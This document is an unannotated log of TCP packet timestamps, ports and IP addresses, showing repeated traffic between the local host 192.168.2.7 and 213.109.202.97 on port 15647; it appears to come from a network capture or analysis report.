Sep 26, 2024 01:49:18.512422085 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.517199039 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.527976990 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.532783985 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.547095060 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.552059889 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.560096025 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.565071106 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.574790955 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.579637051 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.590533972 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.595684052 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.605984926 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.610915899 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.621767998 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.627110004 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.639235973 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.644882917 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.652837992 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.670850992 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.670995951 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.676219940 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.684201956 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.688994884 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.699903011 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.704766989 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.715867043 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.721246958 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.733397007 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.739104986 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.746933937 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.751869917 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.762706995 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.767553091 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.775013924 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.778198004 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.830660105 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.830760956 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.836690903 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.843395948 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.848824024 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.857470036 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.862366915 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.872941971 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.877964020 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.888000965 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.892940998 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.905407906 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.910295963 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.923144102 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.929860115 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.935587883 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.941817045 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.951037884 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.957014084 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.967165947 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.972007036 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.981379986 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:18.986321926 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:18.997750044 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.002911091 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.015681982 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.020493984 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.028565884 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.033596992 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.044536114 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.049546003 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.060714006 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.065679073 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.075607061 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.080490112 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.092498064 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.097455978 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.111105919 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.116125107 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.123611927 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.128381968 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.137991905 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.142906904 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.153620958 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.158597946 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.169280052 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.174119949 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.184792995 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.189739943 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.202620029 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.207551003 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.219357967 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.224327087 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.231825113 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.236696005 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.247528076 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.252455950 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.263405085 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.268361092 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.278942108 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.283879995 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.296308041 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.301281929 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.311882019 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.316683054 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.325474024 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.330332041 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.342902899 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.347980022 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.357130051 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.362086058 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.374269962 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.379139900 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.397773027 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.402618885 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.407548904 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.412360907 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.419258118 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.424073935 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.434954882 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.441070080 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.451081991 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.455959082 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.466273069 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.471716881 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.481540918 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.486764908 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.498862028 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.503663063 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.513391972 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.518238068 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.532655001 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.537519932 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.544539928 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.549431086 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.587174892 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.592052937 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.597074032 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.601892948 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.613063097 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.617852926 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.627650023 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.632401943 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.637876034 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.643037081 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.653358936 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.668431044 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.673389912 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.678170919 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.684660912 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.691281080 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.701349974 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.706520081 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.715795994 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.720801115 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.731746912 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.736829996 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.747360945 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.752473116 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.765489101 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.771204948 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.778390884 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.783624887 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.797569990 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.802424908 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.813553095 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.818353891 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.825515032 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.830460072 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.832485914 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.841536999 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.890630960 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.897489071 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.902306080 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.909527063 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.914298058 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.919540882 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.924381018 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.936511993 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.941406965 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.953804016 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.958579063 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.967580080 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.972430944 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.983191967 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:19.987989902 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:19.997528076 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.003139973 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.013506889 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.018379927 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.029797077 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.034610033 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.044723034 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.049514055 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.059873104 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.064651966 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.077864885 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.082751036 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.085171938 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.085185051 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.085196018 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.085206032 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.085216045 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.085253954 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.085309029 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.090903044 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.142640114 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.142792940 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.147623062 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.153997898 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.158941984 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.170418978 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.175376892 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.184818983 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.189655066 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.200253963 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.205014944 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.218267918 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.223115921 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.231584072 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.236393929 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.247283936 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.252062082 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.264662981 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.269583941 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.278538942 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.283432961 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.297508001 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.302473068 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.313591003 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.318449974 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.327627897 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.332509041 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.341031075 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.345870972 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.359021902 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.364537954 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.374563932 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.379405975 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.389470100 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.394319057 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.403853893 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.405476093 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.408740044 CEST	15647	58391	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.408804893 CEST	58391	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.418939114 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.423768044 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.424057007 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.424103022 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.428839922 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.434365988 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.439188957 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.453493118 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.458884954 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.467792988 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.473381996 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.481575012 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.486381054 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.499779940 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.504673958 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.515511990 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.520256996 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.531507015 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.536262035 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.543566942 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.548633099 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.560362101 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.565992117 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.574727058 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.579468966 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.591320992 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.597398043 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.606126070 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.610995054 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.623528957 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.628379107 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.637303114 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.642163992 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.657536030 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.663105011 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.669490099 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.674911022 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.684897900 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.689733982 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.701495886 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.706440926 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.721502066 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.726392984 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.732323885 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.737587929 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.747906923 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.754019976 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.763591051 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.770904064 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.778094053 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.784281015 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.793853998 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.799891949 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.810398102 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.816415071 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.825176954 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.829947948 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.842161894 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.846977949 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.857969046 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.862879992 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.872262001 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.877314091 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.889312983 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.894098043 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.905134916 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.910013914 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.918529987 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.923357964 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.935693979 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.940448999 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.949769974 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.954905987 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.965708971 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.970521927 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.981226921 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:20.986068010 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:20.996718884 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:21.002098083 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:21.043710947 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:21.048496962 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:21.067729950 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:21.072531939 CEST	15647	58392	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:21.148487091 CEST	58392	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:21.153264999 CEST	15647	58392	213.109.202.97	192.168.2.7
